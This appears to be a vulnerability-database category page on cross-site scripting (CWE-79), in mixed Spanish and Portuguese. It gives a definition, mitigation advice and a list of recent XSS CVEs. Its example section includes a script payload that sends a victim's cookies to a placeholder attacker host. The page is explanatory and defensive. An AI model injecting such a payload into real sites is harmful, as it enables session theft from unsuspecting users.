Fallos del tipo CWE-79

30.495 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-85293MEDIUMInvoicePlane: Stored Cross-Site Scripting (XSS) via Client Email in Invoice and Quote Mailer FormsEPSS 0.2%CVE-2025-62238MEDIUMStored cross-site scripting (XSS) vulnerability on the Membership page in Account Settings in Liferay Portal 7.4.3.21 through 7.4.3.111, andEPSS 0.2%CVE-2026-17001MEDIUMImport and export users and customers <= 2.4.5 - Authenticated (Custom+) Stored Cross-Site Scripting via User Meta Profile FieldsEPSS 0.2%CVE-2026-24838CRITICALDotNetNuke.Core Vulnerable to Stored XSS via Module TitleEPSS 0.2%CVE-2025-58661MEDIUMWordPress eZee Online Hotel Booking Engine Plugin <= 1.0.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-43486MEDIUMPoly Clariti Manager - Multiple Security VulnerabilitiesEPSS 0.2%CVE-2025-57980MEDIUMWordPress Safety Exit Plugin <= 1.8.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58811MEDIUMWordPress Ultimate Client Dash Plugin <= 4.7 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-69236MEDIUMStored XSS in Raytha CMSEPSS 0.2%CVE-2025-58810MEDIUMWordPress Simple Link List Widget Plugin <= 0.3.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2024-25814MEDIUMMyNET up to v26.05 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the msg parameter.EPSS 0.2%CVE-2025-49392MEDIUMWordPress Themify Audio Dock Plugin <= 2.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-62899MEDIUMWordPress Photospace Responsive plugin <= 2.2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-60101MEDIUMWordPress Woostify Theme <= 2.4.2 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-58658MEDIUMWordPress Proof Factor – Social Proof Notifications Plugin <= 1.0.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-43826MEDIUMStored cross-site scripting (XSS) vulnerabilities in Web Content translation in Liferay Portal 7.4.0 through 7.4.3.112, and older unsupporteEPSS 0.2%CVE-2025-43823MEDIUMCross-site scripting (XSS) vulnerability in the Commerce Search Result widget in Liferay Portal 7.4.0 through 7.4.3.111, and Liferay DXP 202EPSS 0.2%CVE-2025-15248MEDIUMsunhailin12315 product-review 商品评价系统 Write a Review cross site scriptingEPSS 0.2%CVE-2025-58820MEDIUMWordPress Carousel Ultimate Plugin <= 1.8 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-48324MEDIUMWordPress tli.tl auto Twitter poster plugin <= 3.4 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%